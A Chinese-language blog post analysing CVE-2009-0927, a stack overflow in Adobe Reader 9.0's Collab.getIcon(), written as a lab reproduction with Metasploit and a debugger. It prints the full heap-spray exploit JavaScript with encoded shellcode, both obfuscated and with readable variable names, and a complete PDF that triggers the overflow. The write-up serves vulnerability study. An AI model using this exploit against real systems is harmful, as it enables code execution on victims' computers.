selph
selph
发布于 2022-04-18 / 484 阅读
0
0

漏洞分析:CVE-2009-0927

相当经典的栈溢出漏洞,明天开始分析分析office漏洞长长见识

漏洞介绍

Adobe Reader 是非常流行的 PDF 文件阅读器,在其 Collab 对象的 getIcon()函数中存在一个缓冲区溢出漏洞。同时由于 PDF 文档中支持内嵌的 JavaScript,攻击者可以通过在 PDF 文档中植入恶意的JavaScript来向getIcon()函数传递特制的参数以触发溢出漏洞,并结合HeapSpray攻击来夺取计算机的控制权。

实验环境

  • 虚拟机:Windows XP SP3
  • 虚拟机:Kali Linux
  • 漏洞程序:Adobe Reader 9.0
  • IDA + x86dbg + immdbg mona
  • pdfstreamdumper

漏洞复现

首先在WindowsXPSP3虚拟机上安装Adobe Reader 9.0(文末附安装包)

老样子,msf搜索cve号:

image-20220418144916639

选择下面那一个,设置payload:set payload windows/execset CMD calc.exerun

image-20220418145000123

把生成的pdf样本复制出来到测试环境中点开:

image-20220418145028143

弹出计算器,漏洞验证成功

前置知识:PDF格式

书上以空的pdf为例介绍了PDF格式,这里也参考书上的内容(参考资料[1])

PDF是一种文本和二进制混排的格式,包括四部分:

  • header:头部,用以标识PDF文档的版本。
  • Body:主体,包含PDF文档的主体内容,各部分以对象方式呈现。
  • cross-reference:交叉引用表,通过交叉引用表可以快速的找到PDF文档中的各种对象
  • trailer:尾部,包含交叉引用的摘要和交叉引用表的起始位置

PDF的Body是树状结构以节点是形式来保存内容,可见下面pdf格式里的内容也都是以节点为单位来保存信息的:

%PDF-1.1   //头部,说明次 PDF 文档符合 PDF1.1 规范 
 
1 0 obj 
<<  
    /Type /Catalog   	//说明这个 obj 是 Catalog 对象  
    /Outlines 2 0 R  	//第二个 obj 是 Outlines  
    /Pages 3 0 R     	//第三个 obj 是 Pages  
    /OpenAction 7 0 R   //第七个 obj 是OpenAction,听这个名字大家也应该能感觉到有点料, 文件打开时会执行它里边的脚本 
>> 
endobj 

2 0 obj 
<<  
    /Type /Outlines 
    /Count 0          //0 表示没有书签 
>> endobj 
 
3 0 obj 
<<  
    /Type /Pages     
    /Kids [4 0 R]    //说明它的孩子、页的对象号为 4  
    /Count 1          //说明页码数量为 1 
>> 
endobj 
 
4 0 obj 
<<  
    /Type /Page  
    /Parent 3 0 R     //其父对象的对象号为 3  
    /MediaBox [0 0 612 792] //页面的显示大小,以象素为单位  
    /Contents 5 0 R     //内容对象的对象号为 5  
    /Resources <<        //说明该页所要包含的资源,包括字体和内容的类型                          
                /ProcSet [/PDF /Text]             
                /Font << /F1 6 0 R >>              
               >> 
>> 
endobj 
 
5 0 obj 
<< /Length 98 >>  //stream 对象为字节数,从 BT 开始,ET 结束,包括中间的行结束符 stream  //流对象开始 
    BT /F1 12 Tf 100 700 Td 15 TL (Open File Error!  Maybe the file is damaged!  // 文本位置和内容 
) Tj ET 
endstream   //流对象结束 
endobj 
 
6 0 obj 
<<  
    /Type /Font     //字体对象  
    /Subtype /Type1  
    /Name /F1  
    /BaseFont /Helvetica  
    /Encoding /MacRomanEncoding 
>> 
endobj 
 
7 0 obj 
<<  
    /Type /Action  
    /S /JavaScript  /JS (     //可以放置 JavaScript 脚本,关键部分噢 
 
    ) 
>> 
endobj 
 
    xref     //交叉引用表 
    0 8      //说明下面的描述是从 0 号对象开始,数量为 8 
    0000000000 65535 f    //一般每个 PDF 文件都是以这一行开始交叉应用表的,说明对象 0 的起始 地址 为 0000000000,产生号(generation number)为 65535,也是最大产生号,不可以再进行更改, 而且最 后对象的表示是 f, 表明该对象为 free 
    0000000010 00000 n    //表示对象 1,也就是 catalog 对象了,0000000009 是其偏移地址,00000 为 5 位产生号,全 0 表明该对象未被修改过,n 表示该对象在使用。 
    0000000098 00000 n  
    0000000147 00000 n  
    0000000208 00000 n  
    0000000400 00000 n  
    0000000549 00000 n  
    0000000663 00000 n  
 
    trailer    //尾部 
    <<  
        /Size 8   //该 PDF 对象数  
        /Root 1 0 R   //根对象的对象号为 1 
    >> 
    startxref 
    1946   //交叉引用表的偏移地址 
    %%EOF   //文件结束标志

漏洞分析

漏洞描述中:“攻击者可以通过在 PDF 文档中植入恶意的JavaScript来向getIcon()函数传递特制的参数以触发溢出漏洞”,也就是说问题出现在JS执行getIcon()函数处,因为PDF可以内置一个js脚本执行,所以刚好可以在这里利用js直接触发漏洞,配合堆喷射完成利用

从msf生成的样本里提取js:

    var KVkNqrUCHpDllyObwwfvouHFcymoUAZuRXwCPbknIHBIerdEDsKDYXFOBunpfos = unescape("%u4146%u4749%u4742%u4790%uf992%ud696%u97f9%u3741%u412f%u984a%uf992%u4241%u9b90%ufc91%u2f4e%u914e%u4192%u9bf9%u429f%u2f93%ufd3f%u4041%ud64b%u9793%u9642%u3f41%u4899%u9143%uf8f8%u4a2f%u9649%ufc3f%u4b99%u9398%u3f27%u933f%u4298%u9f40%u4b96%u9b4e%u9f41%uf9fc%u4727%u91fc%u91f9%uf83f%u4f4a%u9bf8%u9947%u9792%u96f8%u474e%u4797%u9b4e%u4bf8%u4392%u372f%u914b%u4f48%u9b97%u4bf5%u409f%u4ffc%ufdf5%u4192%u9841%u4949%u9092%uf890%u3f4a%u2792%ufd47%u97f5%u2743%uf54e%u4f4b%u4afd%u9348%u4248%u9643%ufc40%uf9fc%u4992%uf548%u4f49%ufc96%uf8f8%u9b49%u4348%u4642%u4b46%u46f8%ud6f5%u9b48%u3f98%u4ad6%u914e%u9f9f%u9392%ud699%u4fd6%ufc3f%uf598%u9f43%u93d6%u4e41%u93f9%u9b99%u3f92%ud63f%u9193%u9347%u96fc%u4b98%u9b97%u43f5%ufd96%ufc41%u9f9f%u91fc%u4727%u9f92%u3f47%u4743%u3f4f%u9896%ufc4b%uf54a%u9f92%u4392%u2f99%u494a%u90fc%u9bf5%u4b99%u9b40%u4327%u9341%u4793%u424b%ufd4e%u464b%u4148%uf991%u4b97%u2793%u374f%u3f43%u994f%u9940%u984b%u98f9%u4249%u4790%u9142%u9890%ufd96%u4227%uf8fc%u40f9%u4f27%u46fd%u4996%u434a%u3f2f%u98d6%u4b43%uf896%u4e97%u9f48%u9642%u4e4b%u4f91%u4990%u9946%uf547%ud647%u96d6%u4b97%ufc2f%u404e%u4e4b%u9827%u914a%u4f49%u4099%uf542%u434b%u4f97%u9792%u43f9%u424b%u2746%ufc3f%u97f5%u4396%u4f41%u4ed6%ufdf5%u4a37%ufc41%u374a%u9791%uf848%ud6f9%u9227%u93f8%u4393%ufc92%u482f%u3f96%u4727%ud64b%u43f8%u494f%u4b4f%u9793%u4efd%u96d6%u4341%u9f9b%u4f40%u4e9b%u98f9%u47f8%u9949%u4898%uf949%uf5fc%u904b%u4097%u3737%u434f%u4f98%u4840%u9240%u4f98%u4347%u4b4a%u9f4f%u374f%u902f%u9893%ud6f9%ufd97%u414a%u46fd%u4ff5%u494b%ud643%u47f5%u9298%u9148%u96f9%uf5f8%uf846%uf991%u3747%u4a42%uf947%u9398%u4891%u4b4f%u479b%u4f90%ufc90%u483f%uf990%u9690%u3ff5%u4a99%u992f%u4f91%uf947%u4347%u9127%u9191%u4e3f%uf99b%u904b%u4ffc%ufd49%u9b91%ufd4b%u2f96%u992f%u9127%u48f8%u4b96%u42fd%u4090%u4942%u4192%u2f91%u9f96%u9991%u4e4f%u9f91%u2f4e%ud643%u9bf5%ufd47%uf543%ufc96%u9f97%u9692%ud697%u2f92%uf54f%ufc93%u4896%u9137%u90f8%u489f%u499b%u4799%uf593%u469b%ufd2f%u90f9%u4a96%uf9f5%ud637%u9290%u4948%u934a%ufd40%u9299%u9ffc%u98f5%u4efd%u4f4b%u4297%u2f91%u2f43%u9f48%u989f%uf593%u9ff9%ufc3f%u9991%u484e%u40f5%u463f%u9f99%uf846%u46d6%u912f%ud6fc%ud692%u4efc%u9347%u42f9%u4147%u4848%u974a%u9343%u48fd%ufc97%u4f93%uf9f8%uf949%u9f91%u9f41%u2ff8%ufc40%u9792%u2f46%u4b4a%u40fd%ufc37%u4341%u4648%u414e%ud637%u4342%uf94b%u99fc%uf892%u4391%u2740%u9b2f%ufcfc%u98f5%u37f8%u4890%u9947%u4afd%u9246%u4927%u272f%ufd9f%u3748%u9827%u3f9f%u4043%u4040%u4a90%u4f91%u3740%u97f8%u3793%u26bf%u5d40%ud9dc%ud9f7%u2474%u5ef4%uc929%u31b1%u7e31%u8313%ufcee%u7e03%ua229%u20a8%ua0dd%ud953%uc51d%u3cda%uc52c%u35b9%uf51e%u18ca%u7e92%u889e%uf221%ube37%ub982%uf161%u9113%u9052%ue897%u7286%u22a6%u73db%u5fef%u2116%u14b8%ud685%u61cd%u5c16%u649d%u811e%u8655%u140f%ud1ee%u968f%u6a23%u8086%u5720%u3a50%u2392%uea63%ucceb%ud3c8%u3ec4%u1310%ua0e2%u6d67%u5c11%uaa70%uba68%u29f5%u49ca%u95ad%u9eeb%u5d28%u6be7%u393e%u6aeb%u3193%ue617%u9612%ubc9e%u3230%u67fb%u6358%uc6a1%u7365%ub60a%uffc3%ua3a6%ua279%u32ac%ud80f%u3582%ue30f%u5db2%u683e%u195d%ubbbf%ud51a%ue6f5%u7e0a%u7350%ue30f%ua963%u1a53%u58e0%ud92b%u28f8%ua52e%uc1be%ub642%ue62a%ub7f1%u857e%u2b94%u64e2%ucc33%u7881");
    var hfboDmSciavdPhGXlHeWYSHwYJJFuWBQlYaYRYwYkgeGfKhaIRCkibewImplvIuiO ="";
    for (SJj=128;SJj>=0;--SJj) hfboDmSciavdPhGXlHeWYSHwYJJFuWBQlYaYRYwYkgeGfKhaIRCkibewImplvIuiO += unescape("%u934a%uf990");
    QtAnn = hfboDmSciavdPhGXlHeWYSHwYJJFuWBQlYaYRYwYkgeGfKhaIRCkibewImplvIuiO + KVkNqrUCHpDllyObwwfvouHFcymoUAZuRXwCPbknIHBIerdEDsKDYXFOBunpfos;
    nFutwCpahteQceUklxRbxzWubGOOYxjcZJkuzbVnFMZKrPWAruhFHnXSkLzZIUsbh = unescape("%u934a%uf990");
    TjyANJNsPmFgGzChdLvflXEHeZmMREcgqUrXXpbLqtBvmajcAmNvhDUNxbGAKR = 20;
    VhSbQanRAhaOBfBFNfwZnprALhZlxRoggdpeCIQbjitusWwwtiCajjEnUmGZJyvWChaeagkWgzNqHDzvxjFbiXSmVwUDWqak = TjyANJNsPmFgGzChdLvflXEHeZmMREcgqUrXXpbLqtBvmajcAmNvhDUNxbGAKR+QtAnn.length
    while (nFutwCpahteQceUklxRbxzWubGOOYxjcZJkuzbVnFMZKrPWAruhFHnXSkLzZIUsbh.length<VhSbQanRAhaOBfBFNfwZnprALhZlxRoggdpeCIQbjitusWwwtiCajjEnUmGZJyvWChaeagkWgzNqHDzvxjFbiXSmVwUDWqak) nFutwCpahteQceUklxRbxzWubGOOYxjcZJkuzbVnFMZKrPWAruhFHnXSkLzZIUsbh+=nFutwCpahteQceUklxRbxzWubGOOYxjcZJkuzbVnFMZKrPWAruhFHnXSkLzZIUsbh;
    iiiSzsTwigSVFkQadeQRXTEAycVz = nFutwCpahteQceUklxRbxzWubGOOYxjcZJkuzbVnFMZKrPWAruhFHnXSkLzZIUsbh.substring(0, VhSbQanRAhaOBfBFNfwZnprALhZlxRoggdpeCIQbjitusWwwtiCajjEnUmGZJyvWChaeagkWgzNqHDzvxjFbiXSmVwUDWqak);
    oCVcJURmTDrauTOKyuZKEeMtfak = nFutwCpahteQceUklxRbxzWubGOOYxjcZJkuzbVnFMZKrPWAruhFHnXSkLzZIUsbh.substring(0, nFutwCpahteQceUklxRbxzWubGOOYxjcZJkuzbVnFMZKrPWAruhFHnXSkLzZIUsbh.length-VhSbQanRAhaOBfBFNfwZnprALhZlxRoggdpeCIQbjitusWwwtiCajjEnUmGZJyvWChaeagkWgzNqHDzvxjFbiXSmVwUDWqak);
    while(oCVcJURmTDrauTOKyuZKEeMtfak.length+VhSbQanRAhaOBfBFNfwZnprALhZlxRoggdpeCIQbjitusWwwtiCajjEnUmGZJyvWChaeagkWgzNqHDzvxjFbiXSmVwUDWqak < 0x40000) oCVcJURmTDrauTOKyuZKEeMtfak = oCVcJURmTDrauTOKyuZKEeMtfak+oCVcJURmTDrauTOKyuZKEeMtfak+iiiSzsTwigSVFkQadeQRXTEAycVz;
    LSCDAOoxVBLJEv = new Array();
    for (idfSbqjtbfhbyoEyupRKNwzFYvRTXIkKwDPLkvCHdLAKOzkPVLmFGoXVMrrNFJasSYvBSrAAWCSQCKpJR=0;idfSbqjtbfhbyoEyupRKNwzFYvRTXIkKwDPLkvCHdLAKOzkPVLmFGoXVMrrNFJasSYvBSrAAWCSQCKpJR<1450;idfSbqjtbfhbyoEyupRKNwzFYvRTXIkKwDPLkvCHdLAKOzkPVLmFGoXVMrrNFJasSYvBSrAAWCSQCKpJR++) LSCDAOoxVBLJEv[idfSbqjtbfhbyoEyupRKNwzFYvRTXIkKwDPLkvCHdLAKOzkPVLmFGoXVMrrNFJasSYvBSrAAWCSQCKpJR] = oCVcJURmTDrauTOKyuZKEeMtfak + QtAnn;
    var vKaCCLhBawxGzhhKMgfHtMMBNxpeReaDisKwGWovrNureM = unescape("%0a");
    while(vKaCCLhBawxGzhhKMgfHtMMBNxpeReaDisKwGWovrNureM.length < 0x4000) vKaCCLhBawxGzhhKMgfHtMMBNxpeReaDisKwGWovrNureM+=vKaCCLhBawxGzhhKMgfHtMMBNxpeReaDisKwGWovrNureM;
    vKaCCLhBawxGzhhKMgfHtMMBNxpeReaDisKwGWovrNureM = "N."+vKaCCLhBawxGzhhKMgfHtMMBNxpeReaDisKwGWovrNureM;
    Collab.getIcon(vKaCCLhBawxGzhhKMgfHtMMBNxpeReaDisKwGWovrNureM);

修改变量名后,终于可以看了:

// shellcode
var var_A = unescape("%u4146%u4749%u4742%u4790%uf992%ud696%u97f9%u3741%u412f%u984a%uf992%u4241%u9b90%ufc91%u2f4e%u914e%u4192%u9bf9%u429f%u2f93%ufd3f%u4041%ud64b%u9793%u9642%u3f41%u4899%u9143%uf8f8%u4a2f%u9649%ufc3f%u4b99%u9398%u3f27%u933f%u4298%u9f40%u4b96%u9b4e%u9f41%uf9fc%u4727%u91fc%u91f9%uf83f%u4f4a%u9bf8%u9947%u9792%u96f8%u474e%u4797%u9b4e%u4bf8%u4392%u372f%u914b%u4f48%u9b97%u4bf5%u409f%u4ffc%ufdf5%u4192%u9841%u4949%u9092%uf890%u3f4a%u2792%ufd47%u97f5%u2743%uf54e%u4f4b%u4afd%u9348%u4248%u9643%ufc40%uf9fc%u4992%uf548%u4f49%ufc96%uf8f8%u9b49%u4348%u4642%u4b46%u46f8%ud6f5%u9b48%u3f98%u4ad6%u914e%u9f9f%u9392%ud699%u4fd6%ufc3f%uf598%u9f43%u93d6%u4e41%u93f9%u9b99%u3f92%ud63f%u9193%u9347%u96fc%u4b98%u9b97%u43f5%ufd96%ufc41%u9f9f%u91fc%u4727%u9f92%u3f47%u4743%u3f4f%u9896%ufc4b%uf54a%u9f92%u4392%u2f99%u494a%u90fc%u9bf5%u4b99%u9b40%u4327%u9341%u4793%u424b%ufd4e%u464b%u4148%uf991%u4b97%u2793%u374f%u3f43%u994f%u9940%u984b%u98f9%u4249%u4790%u9142%u9890%ufd96%u4227%uf8fc%u40f9%u4f27%u46fd%u4996%u434a%u3f2f%u98d6%u4b43%uf896%u4e97%u9f48%u9642%u4e4b%u4f91%u4990%u9946%uf547%ud647%u96d6%u4b97%ufc2f%u404e%u4e4b%u9827%u914a%u4f49%u4099%uf542%u434b%u4f97%u9792%u43f9%u424b%u2746%ufc3f%u97f5%u4396%u4f41%u4ed6%ufdf5%u4a37%ufc41%u374a%u9791%uf848%ud6f9%u9227%u93f8%u4393%ufc92%u482f%u3f96%u4727%ud64b%u43f8%u494f%u4b4f%u9793%u4efd%u96d6%u4341%u9f9b%u4f40%u4e9b%u98f9%u47f8%u9949%u4898%uf949%uf5fc%u904b%u4097%u3737%u434f%u4f98%u4840%u9240%u4f98%u4347%u4b4a%u9f4f%u374f%u902f%u9893%ud6f9%ufd97%u414a%u46fd%u4ff5%u494b%ud643%u47f5%u9298%u9148%u96f9%uf5f8%uf846%uf991%u3747%u4a42%uf947%u9398%u4891%u4b4f%u479b%u4f90%ufc90%u483f%uf990%u9690%u3ff5%u4a99%u992f%u4f91%uf947%u4347%u9127%u9191%u4e3f%uf99b%u904b%u4ffc%ufd49%u9b91%ufd4b%u2f96%u992f%u9127%u48f8%u4b96%u42fd%u4090%u4942%u4192%u2f91%u9f96%u9991%u4e4f%u9f91%u2f4e%ud643%u9bf5%ufd47%uf543%ufc96%u9f97%u9692%ud697%u2f92%uf54f%ufc93%u4896%u9137%u90f8%u489f%u499b%u4799%uf593%u469b%ufd2f%u90f9%u4a96%uf9f5%ud637%u9290%u4948%u934a%ufd40%u9299%u9ffc%u98f5%u4efd%u4f4b%u4297%u2f91%u2f43%u9f48%u989f%uf593%u9ff9%ufc3f%u9991%u484e%u40f5%u463f%u9f99%uf846%u46d6%u912f%ud6fc%ud692%u4efc%u9347%u42f9%u4147%u4848%u974a%u9343%u48fd%ufc97%u4f93%uf9f8%uf949%u9f91%u9f41%u2ff8%ufc40%u9792%u2f46%u4b4a%u40fd%ufc37%u4341%u4648%u414e%ud637%u4342%uf94b%u99fc%uf892%u4391%u2740%u9b2f%ufcfc%u98f5%u37f8%u4890%u9947%u4afd%u9246%u4927%u272f%ufd9f%u3748%u9827%u3f9f%u4043%u4040%u4a90%u4f91%u3740%u97f8%u3793%u26bf%u5d40%ud9dc%ud9f7%u2474%u5ef4%uc929%u31b1%u7e31%u8313%ufcee%u7e03%ua229%u20a8%ua0dd%ud953%uc51d%u3cda%uc52c%u35b9%uf51e%u18ca%u7e92%u889e%uf221%ube37%ub982%uf161%u9113%u9052%ue897%u7286%u22a6%u73db%u5fef%u2116%u14b8%ud685%u61cd%u5c16%u649d%u811e%u8655%u140f%ud1ee%u968f%u6a23%u8086%u5720%u3a50%u2392%uea63%ucceb%ud3c8%u3ec4%u1310%ua0e2%u6d67%u5c11%uaa70%uba68%u29f5%u49ca%u95ad%u9eeb%u5d28%u6be7%u393e%u6aeb%u3193%ue617%u9612%ubc9e%u3230%u67fb%u6358%uc6a1%u7365%ub60a%uffc3%ua3a6%ua279%u32ac%ud80f%u3582%ue30f%u5db2%u683e%u195d%ubbbf%ud51a%ue6f5%u7e0a%u7350%ue30f%ua963%u1a53%u58e0%ud92b%u28f8%ua52e%uc1be%ub642%ue62a%ub7f1%u857e%u2b94%u64e2%ucc33%u7881");
// 拼接指令934af990
var var_B = "";
for (i = 128; i >= 0; --i) var_B += unescape("%u934a%uf990");
// 拼接指令+shellcode
var_C = var_B + var_A;
var_D = unescape("%u934a%uf990");
var_E = 20;
// 大量拼接指令
var_F = var_E + var_C.length
while (var_D.length < var_F) var_D += var_D;
// 截取部分
var_G = var_D.substring(0, var_F);
var_H = var_D.substring(0, var_D.length - var_F);
// 拼接很长
while (var_H.length + var_F < 0x40000) var_H = var_H + var_H + var_G;
// 创建数组,在内存申请大量空间
var_I = new Array();
// 滑板指令+shellcode大量填充
for (i = 0; i < 1450; i++) var_I[i] = var_H + var_C;

// 触发漏洞部分
// 准备一个超级长的字符串N.0a0a0a0a0a0a0a....
var var_J = unescape("%0a");
while (var_J.length < 0x4000) var_J += var_J;
// 拼接字符串
var_J = "N." + var_J;
// 触发漏洞
Collab.getIcon(var_J);

JS代码分两部分,上面是堆喷射,把shellcode填充到内存指定地点上去,下面部分是漏洞触发,构造超级长文件名,通过getIcon触发漏洞

手动构造pdf触发漏洞:

%PDF-1.1
 
1 0 obj 
<<  
    /Type /Catalog   	
    /Outlines 2 0 R  
    /Pages 3 0 R     
    /OpenAction 7 0 R  
>> 
endobj 

2 0 obj 
<<  
    /Type /Outlines 
    /Count 0        
>> endobj 
 
3 0 obj 
<<  
    /Type /Pages     
    /Kids [4 0 R]   
    /Count 1        
>> 
endobj 
 
4 0 obj 
<<  
    /Type /Page  
    /Parent 3 0 R    
    /MediaBox [0 0 612 792] 
    /Contents 5 0 R  
    /Resources <<                             
                /ProcSet [/PDF /Text]             
                /Font << /F1 6 0 R >>              
               >> 
>> 
endobj 
 
5 0 obj 
<< /Length 98 >>  
    BT /F1 12 Tf 100 700 Td 15 TL (Open File Error!  Maybe the file is damaged! 
) Tj ET 
endstream  
endobj 
 
6 0 obj 
<<  
    /Type /Font     
    /Subtype /Type1  
    /Name /F1  
    /BaseFont /Helvetica  
    /Encoding /MacRomanEncoding 
>> 
endobj 
 
7 0 obj 
<<  
    /Type /Action  
    /S /JavaScript  /JS (    

var var_J = unescape("%0a");
while (var_J.length < 0x4000) var_J += var_J;

var_J = "N." + var_J;

Collab.getIcon(var_J);
    ) 
>> 
endobj 
 
    xref   
    0 8      
    0000000000 65535 f    
    0000000010 00000 n     
    0000000098 00000 n  
    0000000147 00000 n  
    0000000208 00000 n  
    0000000400 00000 n  
    0000000549 00000 n  
    0000000663 00000 n  
 
    trailer  
    <<  
        /Size 8   
        /Root 1 0 R    
    >> 
    startxref 
    1946  
    %%EOF   

另存为pdf,用x86dbg打开AdobeReader9.0,打开该pdf,在异常处看返回地址:

image-20220418160441000

异常是发生在了strcat里面,接着按F9往下走可见eip变成了0a0a0a0a0a:

image-20220418161703973

在strcat下断走一遍看看:

image-20220418162153579

strcat的参数是我们js提供的N和一大堆0a,也就是\n

image-20220418162435654

这就是个经典栈溢出,危险函数strcat无休止的拼接字符串,导致栈溢出覆盖异常处理函数

进去可以见到,这里地址在栈上,填充了超级多的0x0a在后面,执行到异常:

image-20220418164245891

可以看到,这里因为字符串过长,拼接到栈里导致超出了栈的大小,读取到未被分配的空间,从而抛出异常,既然栈能覆盖这么多的内容,可以看到SEH链也被覆盖了:

image-20220418164413312

异常处理函数被设置到了0a0a0a0a这个位置

漏洞利用

显然,这里可以通过堆喷配合,提供一个给该地址提供shellcode作为异常处理函数跳转执行,就能进行漏洞利用

msf.pdf样本使用0a0a0a0a这个地址进行堆喷,以及使用90 F9 4A 93作为滑板指令,来执行shellcode

把提取出来的msf.pdf中的js写到psf里,打开:

image-20220418165513400

动图演示:

CVE-2009-0927

参考资料


评论